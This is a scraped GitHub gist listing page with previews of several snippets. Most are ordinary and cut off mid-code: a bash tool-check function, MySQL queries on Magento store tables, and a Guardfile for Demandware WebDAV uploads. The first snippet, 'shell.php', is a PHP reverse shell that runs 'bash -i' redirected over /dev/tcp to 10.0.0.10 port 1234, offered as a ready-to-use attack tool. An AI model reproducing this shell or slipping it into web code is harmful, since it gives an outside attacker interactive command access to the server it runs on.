Skip to content

Instantly share code, notes, and snippets.

@caseybecking
caseybecking / shell.php
Created June 12, 2018 16:12 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
#!/bin/bash
################################################################################
# FUNCTIONS
################################################################################
# 1. Check required system tools
_check_installed_tools() {
local missed=""
SET @DATABASE = 'prod';
SELECT CONCAT(table_schema, '.', table_name),
CONCAT(ROUND(table_rows / 1000000, 2), 'M') rows,
CONCAT(ROUND(data_length / ( 1024 * 1024 * 1024 ), 2), 'G') DATA,
CONCAT(ROUND(index_length / ( 1024 * 1024 * 1024 ), 2), 'G') idx,
CONCAT(ROUND(( data_length + index_length ) / ( 1024 * 1024 * 1024 ), 2), 'G') total_size,
ROUND(index_length / data_length, 2) idxfrac
FROM information_schema.TABLES
WHERE `information_schema`.TABLES.table_schema = @DATABASE
-- This takes about 30 seconds, but will make the next query a billion times faster
alter table sales_flat_order_item add index (product_id);
-- This takes about 5 seconds with the index added
select
cpe.entity_id product_id,
cpe.sku,
at_style_number.value style_number,
cpe.created_at product_created_date,
sum(sfoi.qty_ordered) total_ordered,
#!/bin/bash
################################################################################
# FUNCTIONS
################################################################################
# 1. Check required system tools
_check_installed_tools() {
local missed=""
-- Make sure to uncomment one of the where conditions below or your query will take forever
select
lu.visit_time,
inet_ntoa(lvi.server_addr) server_addr,
inet_ntoa(lvi.remote_addr) remote_addr,
lui.url,
lc.customer_id,
ce.email,
cs.name store,
lvi.http_user_agent,
@caseybecking
caseybecking / Guardfile
Created March 6, 2012 23:12
Demandware: Webdav
require 'guard/guard'
module ::Guard
class Frontend < ::Guard::Guard
end
end
settings = {
dest: 'https://dev02.web.thelimited.demandware.net//on/demandware.servlet/webdav/Sites/Cartridges/version1/'
}